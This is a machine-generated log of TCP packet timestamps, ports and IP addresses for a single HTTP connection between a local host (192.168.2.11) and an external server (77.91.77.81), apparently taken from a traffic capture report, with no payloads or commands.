Jun 4, 2024 23:09:16.738230944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738492966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738528013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738646030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738657951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738670111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738682985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738694906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738694906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738699913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738707066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738713980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738717079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738718987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738765955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738784075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738801956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738815069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738832951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738837004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738845110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738847017 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738854885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738873959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738878012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738888979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738898993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738899946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738917112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738922119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738929033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738940954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738944054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738960028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738966942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738971949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.738989115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.738991022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739001036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739011049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739012957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739026070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739039898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739044905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739063978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739067078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739070892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739078999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739090919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739103079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739105940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739120007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739120960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739134073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739144087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739145994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739156961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739164114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739176035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739187002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739188910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739201069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739213943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739219904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739231110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739232063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739244938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739250898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739258051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739269972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739270926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739285946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739293098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739308119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739312887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739320993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739331961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739346027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739351988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739367962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739371061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739381075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739392042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739402056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739406109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739427090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739449978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739721060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739767075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.739938021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739953995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739968061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739979982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.739994049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740000010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740000010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740000010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740005016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740014076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740016937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740027905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740031004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740041971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740048885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740052938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740072012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740072966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740084887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740089893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740097046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740108013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740112066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740119934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740133047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740144968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740156889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740170002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740180969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740191936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740204096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740216017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740221977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740221977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740221977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740221977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740221977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740235090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740245104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740253925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740264893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740268946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740277052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740287066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740298986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740315914 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740317106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740329981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740334034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740343094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740355015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740369081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740372896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740381956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740394115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740405083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740416050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740427017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740431070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740437984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740448952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740459919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740470886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740492105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740498066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740498066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740498066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740504026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740516901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740521908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740529060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740540028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740551949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740556002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740565062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740581989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740582943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740595102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740622044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740684986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740704060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740715027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740731001 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740745068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740767002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740770102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740781069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740799904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740806103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740811110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740816116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740824938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740832090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740832090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740838051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740849018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740863085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740881920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740906954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740923882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740941048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740941048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740952969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740962029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740966082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740969896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.740979910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740991116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.740993023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741000891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741003036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741018057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741023064 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741029978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741040945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741045952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741067886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741070986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741080999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741091967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741102934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741106033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741122007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741132021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741137028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741149902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741151094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741162062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741173983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741175890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741184950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741199970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741200924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741210938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741235971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741236925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741255045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741266012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741274118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741276979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741287947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741295099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741300106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741311073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741318941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741332054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741334915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741343975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741355896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741362095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741368055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741373062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741379976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741391897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741401911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741404057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741415977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741415977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741427898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741429090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741442919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741450071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741455078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741461039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741466045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741472006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741473913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741535902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741555929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741847038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741859913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741872072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.741889954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.741914988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742002964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742022038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742033958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742044926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742055893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742058039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742068052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742078066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742094994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742095947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742106915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742117882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742117882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742137909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742142916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742156029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742166996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742167950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742178917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742188931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742203951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742206097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742213964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742222071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742228031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742233992 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742244959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742254972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742258072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742269993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742279053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742281914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742295027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742295980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742306948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742317915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742326021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742330074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742341042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742351055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742353916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742363930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742367029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742387056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742398024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742402077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742413998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742424011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742432117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742434025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742449999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742460966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742466927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742474079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742484093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742486000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742496014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742506981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742506981 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742520094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742531061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742536068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742543936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742553949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742556095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742569923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742582083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742584944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742594957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742605925 CEST	80	49713	77.91.77.81	192.168.2.11
